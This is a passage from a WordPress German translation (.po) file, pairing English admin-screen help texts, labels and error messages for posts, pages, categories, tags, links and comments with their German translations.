gerade." msgstr[1] "%s Beiträge nicht aktualisiert, jemand bearbeitet sie gerade." #: wp-admin/edit.php:343 msgid "1 post not updated, somebody is editing it." msgstr "Ein Beitrag wurde nicht aktualisiert, da er gerade von jemandem bearbeitet wird." #. translators: %s: Number of posts. #: wp-admin/edit.php:342 msgid "%s post updated." msgid_plural "%s posts updated." msgstr[0] "%s Beitrag aktualisiert." msgstr[1] "%s Beiträge aktualisiert." #: wp-admin/edit.php:309 msgid "<a href=\"https://wordpress.org/support/article/pages-screen/\">Documentation on Managing Pages</a>" msgstr "<a href=\"https://wordpress.org/support/article/pages-screen/\">Dokumentation zur Verwaltung von Seiten (engl.)</a>" #: wp-admin/edit.php:303 msgid "You can also perform the same types of actions, including narrowing the list by using the filters, acting on a page using the action links that appear when you hover over a row, or using the Bulk actions menu to edit the metadata for multiple pages at once." msgstr "Du kannst auch die gleichen Arten von Aktionen ausführen, beispielsweise die Liste mit Hilfe der Filter einschränken. Und grundsätzlich mit Seiten arbeiten, indem du die bei Mauszeigerkontakt erscheinenden Links nutzt oder das Drop-down-Menü für die Mehrfachaktionen verwendest, um die Metadaten für mehrere Seiten auf einmal zu bearbeiten." #: wp-admin/edit.php:302 msgid "Managing pages is very similar to managing posts, and the screens can be customized in the same way." msgstr "Seiten zu verwalten ist genauso einfach wie das Verwalten von Beiträgen und du hast ebenso die Möglichkeit, über „Ansicht anpassen“ die Einstellungen zu ändern." #: wp-admin/edit.php:300 msgid "Managing Pages" msgstr "Seiten verwalten" #: wp-admin/edit.php:284 msgid "<a href=\"https://wordpress.org/support/article/posts-screen/\">Documentation on Managing Posts</a>" msgstr "<a href=\"https://wordpress.org/support/article/posts-screen/\">Dokumentation zur Verwaltung von Beiträgen (engl.)</a>" #: wp-admin/edit.php:278 msgid "When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected posts at once. To remove a post from the grouping, just click the x next to its name in the Bulk Edit area that appears." msgstr "Mit der Mehrfachbearbeitung kannst du Metadaten, wie Kategorien, Autor, usw. für alle ausgewählten Beiträge auf einmal ändern. Um einen Beitrag aus der Gruppierung zu entfernen, klicke einfach auf das x-Symbol neben dem Namen, das im Bereich der Mehrfachbearbeitung erscheint." #: wp-admin/edit.php:277 msgid "You can also edit or move multiple posts to the Trash at once. Select the posts you want to act on using the checkboxes, then select the action you want to take from the Bulk actions menu and click Apply." msgstr "Du kannst auch mehrere Beiträge auf einmal bearbeiten oder in den Papierkorb verschieben. Wähle die Beiträge, die du bearbeiten möchtest, mithilfe der Kontrollkästchen aus, wähle dann die gewünschte Aktion unter Mehrfachaktionen aus und klicke auf „Übernehmen“." #: wp-admin/edit.php:275 wp-admin/includes/class-wp-list-table.php:488 msgid "Bulk actions" msgstr "Mehrfachaktionen" #: wp-admin/edit.php:268 msgid "<strong>Preview</strong> will show you what your draft post will look like if you publish it. View will take you to your live site to view the post. Which link is available depends on your post’s status." msgstr "<strong>Vorschau</strong> zeigt, wie der Beitrag aussehen würde, wenn du ihn veröffentlichst. <strong>Anschauen</strong> wird dich auf die Website bringen, um den Beitrag zu sehen. Welcher Link verfügbar ist, hängt vom Status des Beitrags ab." #: wp-admin/edit.php:267 msgid "<strong>Trash</strong> removes your post from this list and places it in the Trash, from which you can permanently delete it." msgstr "<strong>Papierkorb</strong> löscht deinen Beitrag aus dieser Liste und legt ihn in den Papierkorb, aus dem du ihn endgültig löschen kannst." #: wp-admin/edit.php:266 msgid "<strong>Quick Edit</strong> provides inline access to the metadata of your post, allowing you to update post details without leaving this screen." msgstr "<strong>QuickEdit</strong> öffnet direkt in der Übersicht einen kleinen Bereich, in welchem du bestimmte Eigenschaften des Beitrags anpassen und speichern kannst." #: wp-admin/edit.php:265 msgid "<strong>Edit</strong> takes you to the editing screen for that post. You can also reach that screen by clicking on the post title." msgstr "<strong>Bearbeiten</strong> führt dich zur Seite \"Beitrag bearbeiten\" für diesen Beitrag. Einen Beitrag kannst du auch bearbeiten, indem du direkt auf den Titel eines Beitrags klickst." #: wp-admin/edit.php:263 msgid "Hovering over a row in the posts list will display action links that allow you to manage your post. You can perform the following actions:" msgstr "Bei Mauszeigerkontakt mit einem Eintrag in der Beitragsliste werden zusätzliche Links angezeigt, mit denen du Beiträge verwalten kannst. Folgende Aktionen sind möglich: " #: wp-admin/edit.php:261 wp-admin/upload.php:236 wp-admin/users.php:66 msgid "Available Actions" msgstr "Verfügbare Aktionen" #: wp-admin/edit.php:254 msgid "You can refine the list to show only posts in a specific category or from a specific month by using the dropdown menus above the posts list. Click the Filter button after making your selection. You also can refine the list by clicking on the post author, category or tag in the posts list." msgstr "Du kannst die Liste so verfeinern, dass nur Beiträge aus einer bestimmten Kategorie oder aus einem bestimmten Monat angezeigt werden, indem du die Drop-down-Menüs über der Beitragsliste verwendest. Klick auf den Filter-Button, nachdem du deine Auswahl getroffen hast. Du kannst die Liste auch verfeinern, indem du auf den Autor, die Kategorie oder das Schlagwort in der Beitragsliste klickst." #: wp-admin/edit.php:253 msgid "You can view posts in a simple title list or with an excerpt using the Screen Options tab." msgstr "Mit Hilfe des Tab „Ansicht anpassen“ kannst du dir Beiträge in einer einfachen Titelliste oder mit einem Textauszug ansehen." #: wp-admin/edit.php:252 msgid "You can filter the list of posts by post status using the text links above the posts list to only show posts with that status. The default view is to show all posts." msgstr "Du kannst die Beitragsliste nach Beitragsstatus filtern, indem du die Text-Links über der Beitragsliste benutzt um nur Beiträge des gewählten Status anzuzeigen. Die Standardansicht ist alle Beiträge anzuzeigen." #: wp-admin/edit.php:251 msgid "You can hide/display columns based on your needs and decide how many posts to list per screen using the Screen Options tab." msgstr "Du kannst – basierend auf deinen Bedürfnissen – mit Hilfe des Tabs „Ansicht anpassen“ Spalten aus- oder einblenden und entscheiden, wie viele Beiträge pro Ansicht gelistet werden." #: wp-admin/edit.php:249 msgid "You can customize the display of this screen’s contents in a number of ways:" msgstr "Du kannst das Aussehen dieser Seite auf verschiedene Weise ändern:" #: wp-admin/edit.php:247 wp-admin/users.php:41 msgid "Screen Content" msgstr "Bildschirminhalt" #: wp-admin/edit.php:241 msgid "This screen provides access to all of your posts. You can customize the display of this screen to suit your workflow." msgstr "Auf dieser Seite siehst du all deine Beiträge. Du kannst über „Ansicht anpassen“ die Darstellung an deine Bedürfnisse anpassen." #: wp-admin/edit.php:173 wp-admin/post.php:326 msgid "Error in deleting the item." msgstr "Fehler beim Löschen des Elements." #: wp-admin/edit.php:169 wp-admin/post.php:322 wp-admin/upload.php:195 msgid "Error in deleting the attachment." msgstr "Fehler beim Löschen des Anhangs." #: wp-admin/edit.php:148 wp-admin/post.php:291 wp-admin/upload.php:180 msgid "Error in restoring the item from Trash." msgstr "Fehler beim Wiederherstellen des Elements aus dem Papierkorb." #: wp-admin/edit.php:144 wp-admin/post.php:287 wp-admin/upload.php:176 msgid "Sorry, you are not allowed to restore this item from the Trash." msgstr "Du bist leider nicht berechtigt, dieses Element aus dem Papierkorb wiederherzustellen." #: wp-admin/edit.php:120 wp-admin/post.php:261 wp-admin/upload.php:159 msgid "Error in moving the item to Trash." msgstr "Fehler beim Verschieben des Elements in den Papierkorb." #: wp-admin/edit.php:111 wp-admin/post.php:250 wp-admin/upload.php:155 msgid "Sorry, you are not allowed to move this item to the Trash." msgstr "Du bist leider nicht berechtigt, dieses Element in den Papierkorb zu legen." #. translators: %s: URL to Categories to Tags Converter tool. #: wp-admin/edit-tags.php:627 msgid "Tags can be selectively converted to categories using the <a href=\"%s\">tag to category converter</a>." msgstr "Schlagwörter können selektiv mithilfe des <a href=\"%s\">Schlagwort-zu-Kategorie-Konverters</a> in Kategorien umgewandelt werden." #. translators: %s: URL to Categories to Tags Converter tool. #: wp-admin/edit-tags.php:614 msgid "Categories can be selectively converted to tags using the <a href=\"%s\">category to tag converter</a>." msgstr "Kategorien können mithilfe des <a href=\"%s\">Kategorie-in-Schlagwort-Konverters</a> wahlweise in Schlagwörter umgewandelt werden." #. translators: %s: Default category. #: wp-admin/edit-tags.php:603 msgid "Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the default category %s. The default category cannot be deleted." msgstr "Das Löschen einer Kategorie löscht nicht die Beiträge in dieser Kategorie. Stattdessen werden Beiträge, die nur der gelöschten Kategorie zugeordnet waren, auf die Standardkategorie %s gesetzt. Die Standardkategorie kann nicht gelöscht werden." #: wp-admin/edit-tags.php:311 msgid "<a href=\"https://wordpress.org/support/article/posts-tags-screen/\">Documentation on Tags</a>" msgstr "<a href=\"https://wordpress.org/support/article/posts-tags-screen/\">Dokumentation über Schlagwörter (engl.)</a>" #: wp-admin/edit-tags.php:309 msgid "<a href=\"https://codex.wordpress.org/Links_Link_Categories_Screen\">Documentation on Link Categories</a>" msgstr "<a href=\"https://codex.wordpress.org/Links_Link_Categories_Screen\">Dokumentation zu Link-Kategorien (engl.)</a>" #: wp-admin/edit-tags.php:307 msgid "<a href=\"https://wordpress.org/support/article/posts-categories-screen/\">Documentation on Categories</a>" msgstr "<a href=\"https://wordpress.org/support/article/posts-categories-screen/\">Dokumentation über Kategorien (engl.)</a>" #: wp-admin/edit-tags.php:298 msgid "Adding Tags" msgstr "Schlagwörter hinzufügen" #: wp-admin/edit-tags.php:298 msgid "Adding Categories" msgstr "Kategorien hinzufügen" #: wp-admin/edit-tags.php:293 msgid "You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table." msgstr "Du kannst über den Ansicht-anpassen-Tab festlegen, wie viele Elemente pro Ansicht angezeigt werden sollen und welche Spalten du in der Tabelle anzeigen/verbergen willst." #: wp-admin/edit-tags.php:291 msgid "<strong>Description</strong> — The description is not prominent by default; however, some themes may display it." msgstr "<strong>Beschreibung</strong> – Die Beschreibung wird normalerweise nicht angezeigt. In manchen Themes kann das aber eventuell der Fall sein." #: wp-admin/edit-tags.php:288 msgid "<strong>Parent</strong> — Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown." msgstr "<strong>Eltern</strong> – Das sind übergeordnete Kategorien, die im Gegensatz zu Schlagwörtern hierarchisch angeordnet werden können. Du kannst zum Beispiel eine Kategorie Jazz anlegen sowie die Kategorien Bebop und Big Band. Wie du willst. Da die beiden letzteren Verfeinerungen der Kategorie Jazz darstellen, wähle für beide die Kategorie Jazz als übergeordnete Kategorie aus dem Drop-down-Menü." #: wp-admin/edit-tags.php:284 msgid "<strong>Slug</strong> — The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens." msgstr "<strong>Titelform</strong> – Die „Titelform“ ist die lesbare URL-Variante des Namens. Sie besteht normalerweise nur aus Kleinbuchstaben, Zahlen und Bindestrichen." #: wp-admin/edit-tags.php:281 msgid "<strong>Name</strong> — The name is how it appears on your site." msgstr "<strong>Name</strong> – Der Name, unter dem die Kategorie oder das Schlagwort auf der Website angezeigt wird." #: wp-admin/edit-tags.php:277 msgid "When adding a new tag on this screen, you’ll fill in the following fields:" msgstr "Wenn du neue Schlagwörter erstellen willst, musst du folgende Eingaben tätigen:" #: wp-admin/edit-tags.php:275 msgid "When adding a new category on this screen, you’ll fill in the following fields:" msgstr "Wenn du eine neue Kategorie anlegst, musst du folgende Eingabefelder ausfüllen:" #: wp-admin/edit-tags.php:262 msgid "What’s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index." msgstr "" "Worin besteht der Unterschied zwischen Schlagwörtern und Kategorien? \n" "Kategorien können hierarchisch angeordnet und verschachtelt werden und dienen der generellen und eher groben Einordnung von Beiträgen. Schlagwörter werden direkt beim Erstellen des Beitrags eingegeben – und nicht bloß ausgewählt – und schlüsseln viel feiner den Inhalt eines Beitrags in Stichworten auf. Verglichen mit einem Buch, entsprechen Kategorien dem Inhaltsverzeichnis und Schlagwörter dem Stichwortverzeichnis." #: wp-admin/edit-tags.php:260 msgid "You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category." msgstr "Du kannst Link-Kategorien über das Drop-down-Menü Mehrfachaktionen löschen, jedoch löscht diese Aktion nicht die Links innerhalb der Kategorie. Stattdessen werden sie in die Standard-Linkkategorie verschoben." #: wp-admin/edit-tags.php:256 msgid "You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there’s no relationship from one tag to another." msgstr "Du kannst deinen Beiträgen <strong>Schlagwörter</strong> hinzufügen, um sie mit relevanten Stichworten zu versehen. Schlagwörter haben, anders als Kategorien, keine Hierarchie." #: wp-admin/edit-tags.php:254 msgid "You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts." msgstr "Du kannst Links in einzelne Gruppen ordnen, indem du Linkkategorien verwendest. Linkkategorien haben mit den normalen Kategorien für Beiträge nichts zu tun und sind getrennt von diesen." #. translators: %s: URL to Writing Settings screen. #: wp-admin/edit-tags.php:250 msgid "You can use categories to define sections of your site and group related posts. The default category is “Uncategorized” until you change it in your <a href=\"%s\">writing settings</a>." msgstr "Du kannst Beiträge gruppieren und ordnen, indem du Kategorien verwendest. Als Standardkategorie wird „Allgemein“ verwendet, was du aber <a href=\"%s\">ändern kannst</a>." #: wp-admin/edit-tags.php:173 wp-admin/includes/class-wp-screen.php:295 #: wp-admin/includes/post.php:1964 wp-admin/media-upload.php:47 #: wp-admin/post.php:20 wp-admin/post.php:47 wp-admin/post.php:139 #: wp-admin/term.php:43 msgid "Sorry, you are not allowed to edit this item." msgstr "Du bist leider nicht berechtigt, dieses Element zu bearbeiten." #: wp-admin/edit-tags.php:160 wp-admin/edit-tags.php:180 wp-admin/post.php:127 #: wp-admin/term.php:31 msgid "You attempted to edit an item that doesn’t exist. Perhaps it was deleted?" msgstr "Du versuchst ein Element zu bearbeiten, welches nicht existiert. Möglicherweise wurde es gelöscht?" #: wp-admin/edit-tags.php:137 wp-admin/options.php:78 msgid "Sorry, you are not allowed to delete these items." msgstr "Du bist leider nicht berechtigt, diese Elemente zu löschen." #: wp-admin/edit-tags.php:117 wp-admin/edit.php:164 wp-admin/post.php:316 #: wp-admin/themes.php:63 wp-admin/upload.php:191 msgid "Sorry, you are not allowed to delete this item." msgstr "Du bist leider nicht berechtigt, dieses Element zu löschen." #: wp-admin/edit-tag-form.php:278 #: wp-admin/includes/class-wp-links-list-table.php:88 #: wp-admin/includes/class-wp-links-list-table.php:336 #: wp-admin/includes/class-wp-plugins-list-table.php:614 #: wp-admin/includes/class-wp-plugins-list-table.php:812 #: wp-admin/includes/class-wp-plugins-list-table.php:866 #: wp-admin/includes/class-wp-terms-list-table.php:164 #: wp-admin/includes/class-wp-terms-list-table.php:498 #: wp-admin/includes/class-wp-themes-list-table.php:233 #: wp-admin/includes/class-wp-users-list-table.php:273 #: wp-admin/includes/class-wp-users-list-table.php:460 #: wp-admin/includes/media.php:1728 wp-admin/includes/meta-boxes.php:1079 #: wp-admin/includes/template.php:645 wp-admin/includes/theme.php:992 #: wp-admin/includes/widgets.php:295 wp-admin/themes.php:633 #: wp-admin/themes.php:1120 wp-admin/widgets.php:351 #: wp-admin/includes/class-wp-ms-sites-list-table.php:290 #: wp-admin/includes/class-wp-ms-sites-list-table.php:716 #: wp-admin/includes/class-wp-ms-themes-list-table.php:479 #: wp-admin/includes/class-wp-ms-themes-list-table.php:630 #: wp-admin/includes/class-wp-ms-users-list-table.php:115 #: wp-admin/includes/class-wp-ms-users-list-table.php:514 msgid "Delete" msgstr "Löschen" #: wp-admin/edit-tag-form.php:191 wp-admin/edit-tags.php:505 msgid "The description is not prominent by default; however, some themes may show it." msgstr "Die Beschreibung wird nicht immer angezeigt. Bei dem ein oder anderen Theme mag sie angezeigt werden." #: wp-admin/edit-tag-form.php:183 wp-admin/edit-tags.php:498 msgid "Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band." msgstr "Weise einen übergeordneten Begriff zu, um eine Hierarchie zu erstellen. Der Begriff Jazz könnte beispielsweise der übergeordnete Begriff für Bebop und Big Band sein." #: wp-admin/edit-tag-form.php:181 wp-admin/edit-tags.php:496 msgid "Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional." msgstr "Kategorien können, im Gegensatz zu Schlagwörtern, hierarchisch angeordnet werden. Du kannst z. B. eine Kategorie Musik anlegen, welche die Unterkategorien Schlager und Jazz enthält." #: wp-admin/edit-tag-form.php:156 wp-admin/edit-tags.php:453 msgid "The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens." msgstr "Die „Titelform“ ist die lesbare URL-Variante des Namens. Sie besteht normalerweise nur aus Kleinbuchstaben, Zahlen und Bindestrichen." #: wp-admin/edit-tag-form.php:134 wp-admin/edit-tags.php:447 msgid "The name is how it appears on your site." msgstr "Dieser Name wird dann auf der Website angezeigt." #: wp-admin/edit-tag-form.php:132 wp-admin/edit-tags.php:445 #: wp-admin/includes/class-wp-terms-list-table.php:187 #: wp-admin/includes/class-wp-terms-list-table.php:651 msgctxt "term name" msgid "Name" msgstr "Name" #: wp-admin/edit-link-form.php:133 msgid "This will be shown when someone hovers over the link in the blogroll, or optionally below the link." msgstr "Wird bei Mauszeigerkontakt eines Links in der Blogroll angezeigt, oder wahlweise unter dem Link." #: wp-admin/edit-link-form.php:125 msgid "Example: <code>https://wordpress.org/</code> — don’t forget the <code>https://</code>" msgstr "Beispiel: <code>https://wordpress.org/</code> – das <code>https://</code> nicht vergessen" #: wp-admin/edit-link-form.php:122 msgid "Web Address" msgstr "Web-Adresse" #: wp-admin/edit-link-form.php:117 msgid "Example: Nifty blogging software" msgstr "Beispiel: Meine schönsten Katzenfotos" #: wp-admin/edit-link-form.php:114 #: wp-admin/includes/class-wp-links-list-table.php:133 msgctxt "link name" msgid "Name" msgstr "Name" #: wp-admin/edit-link-form.php:95 msgid "Link added." msgstr "Link wurde hinzugefügt." #. translators: Add new links. #: wp-admin/edit-link-form.php:90 wp-admin/link-manager.php:103 #: wp-admin/menu.php:83 msgctxt "link" msgid "Add New" msgstr "Link hinzufügen" #: wp-admin/edit-link-form.php:76 msgid "<a href=\"https://codex.wordpress.org/Links_Add_New_Screen\">Documentation on Creating Links</a>" msgstr "<a href=\"https://codex.wordpress.org/Links_Add_New_Screen\">Dokumentation zu Links erstellen (engl.)</a>" #: wp-admin/edit-link-form.php:70 msgid "XFN stands for <a href=\"https://gmpg.org/xfn/\">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking." msgstr "XFN steht für <a href=\"https://gmpg.org/xfn/\">XHTML Friends Network</a> und ist eine freiwillige Angabe. WordPress erlaubt durch die Verwendung des XFN-Attributes anzugeben, in welchem Verhältnis du zu den Autoren/Inhabern der von dir verlinkten Website stehst." #: wp-admin/edit-link-form.php:69 msgid "The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you don’t use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box." msgstr "Die Module für Name, Web-Adresse und Beschreibung sind auf dieser Seite fest positioniert. Alle anderen kannst du per Drag-and-drop (Ziehen und Ablegen) in ihrer Position verändern. Über den Tab „Ansicht anpassen“ kannst du Module auch ganz ausblenden." #: wp-admin/edit-link-form.php:68 msgid "You can add or edit links on this screen by entering information in each of the boxes. Only the link’s web address and name (the text you want to display on your site as the link) are required fields." msgstr "Auf dieser Seite kannst du Links hinzufügen oder bearbeiten, indem du die Eingabefelder ausfüllst. Es werden jedoch nur der Name und die Web-Adresse benötigt – der Rest ist optional." #. translators: %s: URL to Links screen. #: wp-admin/edit-link-form.php:22 msgid "<a href=\"%s\">Links</a> / Add New Link" msgstr "<a href=\"%s\">Links</a> / Neuen Link hinzufügen" #: wp-admin/edit-link-form.php:17 wp-admin/includes/meta-boxes.php:1087 msgid "Update Link" msgstr "Link aktualisieren" #. translators: %s: URL to Links screen. #: wp-admin/edit-link-form.php:16 msgid "<a href=\"%s\">Links</a> / Edit Link" msgstr "<a href=\"%s\">Links</a> / Links bearbeiten" #: wp-admin/edit-form-comment.php:205 #: wp-admin/includes/class-wp-comments-list-table.php:760 #: wp-admin/includes/class-wp-media-list-table.php:711 #: wp-admin/includes/class-wp-media-list-table.php:768 #: wp-admin/includes/class-wp-posts-list-table.php:1396 #: wp-admin/includes/dashboard.php:736 wp-admin/includes/media.php:1726 msgid "Delete Permanently" msgstr "Endgültig löschen" #. translators: %s: Post link. #: wp-admin/edit-form-comment.php:160 msgid "In response to: %s" msgstr "Als Antwort auf: %s" #: wp-admin/edit-form-comment.php:141 wp-admin/includes/meta-boxes.php:275 msgid "Date and time" msgstr "Datum und Uhrzeit" #: wp-admin/edit-form-comment.php:139 wp-admin/includes/meta-boxes.php:272 msgid "Edit date and time" msgstr "Datum und Uhrzeit ändern" #. translators: %s: Comment date. #: wp-admin/edit-form-comment.php:136 msgid "Submitted on: %s" msgstr "Abgeschickt am: %s" #: wp-admin/edit-form-comment.php:117 msgctxt "comment status" msgid "Pending" msgstr "Ausstehend" #: wp-admin/edit-form-comment.php:115 msgid "Comment status" msgstr "Kommentar-Status" #: wp-admin/edit-form-comment.php:108 msgid "Spam" msgstr "Spam" #: wp-admin/edit-form-comment.php:105 msgid "Pending" msgstr "Ausstehend" #: wp-admin/edit-form-comment.php:102 msgid "Approved" msgstr "Freigegeben" #: wp-admin/edit-form-comment.php:98 wp-admin/export.php:222 #: wp-admin/export.php:269 wp-admin/includes/meta-boxes.php:103 msgid "Status:" msgstr "Status:" #: wp-admin/edit-form-comment.php:32 msgctxt "comment" msgid "Permalink:" msgstr "Permalink:" #. translators: %s: A link to install the Classic Editor plugin. #: wp-admin/edit-form-blocks.php:468 msgid "The block editor requires JavaScript. Please enable JavaScript in your browser settings, or try the <a href=\"%s\">Classic Editor plugin</a>." msgstr "Der Block-Editor erfordert JavaScript. Bitte aktiviere JavaScript in deinen Browser-Einstellungen, oder benutze das Plugin <a href=\"%s\">Classic Editor</a>." #: wp-admin/edit-form-blocks.php:174 #: wp-admin/includes/class-wp-posts-list-table.php:1746 #: wp-admin/includes/meta-boxes.php:1001 msgid "Default template" msgstr "Standard-Template" #. translators: 1: Post edited date, 2: Post edited time. #. translators: 1: Date of last edit, 2: Time of last edit. #: wp-admin/edit-form-advanced.php:630 wp-admin/includes/ajax-actions.php:2815 msgid "Last edited on %1$s at %2$s" msgstr "Zuletzt geändert am %1$s um %2$s Uhr" #. translators: 1: Name of most recent post author, 2: Post edited date, 3: #. Post edited time. #. translators: 1: User's display name, 2: Date of last edit, 3: Time of last #. edit. #: wp-admin/edit-form-advanced.php:627 wp-admin/includes/ajax-actions.php:2812 msgid "Last edited by %1$s on %2$s at %3$s" msgstr "Zuletzt geändert von %1$s am %2$s um %3$s Uhr" #. translators: %s: Number of words. #: wp-admin/edit-form-advanced.php:614 msgid "Word count: %s" msgstr "Wortanzahl: %s" #: wp-admin/edit-form-advanced.php:546 msgid "Get Shortlink" msgstr "Kurzlink anzeigen" #: wp-admin/edit-form-advanced.php:451 msgid "We’re backing up this post in your browser, just in case." msgstr "Wir sichern diesen Beitrag in deinem Browser, nur für den Fall." #: wp-admin/edit-form-advanced.php:450 msgid "<strong>Connection lost.</strong> Saving has been disabled until you’re reconnected." msgstr "<strong>Verbindung wurde unterbrochen.</strong> Speichern wurde deaktiviert, bis die Verbindung wieder hergestellt ist." #: wp-admin/edit-form-advanced.php:414 msgid "<strong>Order</strong> — Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field." msgstr "<strong>Reihenfolge</strong> – Falls du nicht die Funktion des individuellen Menüs nutzt, kannst du hier festlegen, in welcher Reihenfolge die Seiten in der Seitenauflistung angezeigt werden sollen. Je größer die Zahl, desto weiter hinten wird die Seite angezeigt. Beachte, dass dies eventuell nicht bei allen Themes funktioniert." #: wp-admin/edit-form-advanced.php:413 msgid "<strong>Template</strong> — Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you’ll see them in this dropdown menu." msgstr "<strong>Template</strong> – Manche Themes haben individuelle Templates, um verschiedenen Seiten individuelle Layouts oder zusätzliche Funktionen zuzuweisen. Sind Templates vorhanden, dann findest du diese im Drop-down-Menü." #: wp-admin/edit-form-advanced.php:412 msgid "<strong>Parent</strong> — You can arrange your pages in hierarchies. For example, you could have an “About” page that has “Life Story” and “My Dog” pages under it. There are no limits to how many levels you can nest pages." msgstr "<strong>Eltern</strong> – Wähle eine andere Seite aus, der diese Seite untergeordnet werden soll, um verschachtelte Seitenstrukturen aufzubauen. Zum Beispiel kannst du eine Seite „Über mich“ erstellen und dieser anschließend die Seiten „Mein Haus“, „Meine Familie“ und „Mein Auto“ unterordnen, indem du jeweils „Über mich“ als Eltern-Seite angibst." #: wp-admin/edit-form-advanced.php:407 wp-admin/options-discussion.php:15 msgid "Discussion Settings" msgstr "Einstellungen › Diskussion" #: wp-admin/edit-form-advanced.php:402 msgid "<strong>Discussion</strong> — You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them." msgstr "<strong>Diskussion</strong> – Hier kannst du Kommentare und Ping-/Trackbacks für diesen Beitrag aus- oder einschalten. Bereits abgegebene Kommentare werden hier außerdem angezeigt." #: wp-admin/edit-form-advanced.php:401 msgid "<strong>Send Trackbacks</strong> — Trackbacks are a way to notify legacy blog systems that you’ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they’ll be notified automatically using pingbacks, and this field is unnecessary." msgstr "<strong>Trackbacks senden</strong> – Mittels Trackbacks teilst du älteren Blogsystemen mit, dass du diese verlinkt hast. Trage einfach die URLs ein, an die du Trackbacks senden willst. Wenn du im Beitrag einen WordPress-Blog verlinkt hast, so wird automatisch ein Pingback gesendet und du musst das Trackbackfeld nicht mehr ausfüllen." #. translators: %s: Featured image. #: wp-admin/edit-form-advanced.php:386 msgid "<strong>%s</strong> — This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the image as a post thumbnail on the home page, a custom header, etc." msgstr "<strong>%s</strong> – Hier kannst du aus der Mediathek ein Bild auswählen oder ein neues hochladen, welches mit dem Beitrag verknüpft wird, ohne es direkt im Beitrag einzubinden. Dies ist jedoch nur dann sinnvoll, wenn das von dir verwendete Theme auch diese Funktion nutzt und beispielsweise ein Beitrags-Vorschaubild anzeigt." #: wp-admin/edit-form-advanced.php:380 msgid "<strong>Format</strong> — Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Your theme could enable all or some of 10 possible formats. <a href=\"https://wordpress.org/support/article/post-formats/#supported-formats\">Learn more about each post format</a>." msgstr "<strong>Format</strong> – Die Beitragsformate geben an, wie dein Theme einen bestimmten Beitrag anzeigt. Zum Beispiel kannst du einen <em>Standard</em>-Blogbeitrag mit Titel und Absätzen haben, oder einen kurzen <em>Beitrag</em>, der den Titel auslässt und einen kurzen Textabschnitt enthält. Dein Theme könnte alle oder einige der 10 möglichen Formate aktivieren. <a href=\"https://wordpress.org/support/article/post-formats/#supported-formats\">Erfahre mehr über jedes Beitrag-Format (engl.)</a>." #: wp-admin/edit-form-advanced.php:376 msgid "<strong>Publish</strong> — You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). The Password protected option allows you to set an arbitrary password for each post. The Private option hides the post from everyone except editors and administrators. Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post." msgstr "<strong>Veröffentlichen</strong> – Du kannst die Konditionen zur Veröffentlichung deines Beitrags in der Veröffentlichen-Box festlegen. Klicke bei Status, Sichtbarkeit und (sofort) Veröffentlichen auf den Bearbeiten-Link, um mehr Optionen einzublenden. Die Sichtbarkeit beinhaltet Optionen für den Passwortschutz eines Beitrags oder die Festlegung, dass der Beitrag dauerhaft oben gehalten werden soll (sticky). Die Einstellung zum Passwortschutz ermöglicht dir, für jeden Beitrag ein beliebiges Passwort festzulegen. Die Einstellung Privat versteckt Beiträge für jeden außer für Administratoren und Redakteure. (Sofort) Veröffentlichen ermöglicht dir, ein künftiges oder zurückliegendes Datum und eine Uhrzeit festzulegen, damit du die Veröffentlichung deines Beitrags planen oder Beiträge zurückdatieren kannst." #: wp-admin/edit-form-advanced.php:374 msgid "Several boxes on this screen contain settings for how your content will be published, including:" msgstr "Einige Boxen in dieser Ansicht enthalten Einstellungen dafür, wie der Inhalt veröffentlicht wird. Das betrifft:" #: wp-admin/edit-form-advanced.php:367 msgid "Inserting Media" msgstr "Medien einfügen" #: wp-admin/edit-form-advanced.php:362 msgid "You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. <a href=\"https://wordpress.org/support/article/embeds/\">Learn more about embeds</a>." msgstr "Du kannst auch Medien von populären Websites wie z. B. Twitter, YouTube, Flickr und anderen Portalen einbinden, indem du die URL der Medien in einer einzelnen Zeile innerhalb des Textinhaltes einfügst. Bitte schau auch in den Codex, um zu <a href=\"https://wordpress.org/support/article/embeds/\">lernen, wie externe Medien eingebettet werden (engl.)</a>." #: wp-admin/edit-form-advanced.php:361 msgid "You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the “Create a new gallery” button." msgstr "Du kannst Mediendateien (Bilder, Audio, Dokumente, etc.) hochladen und einfügen, indem du den „Medien hinzufügen“-Button klickst. Du kannst die Bilder aus der 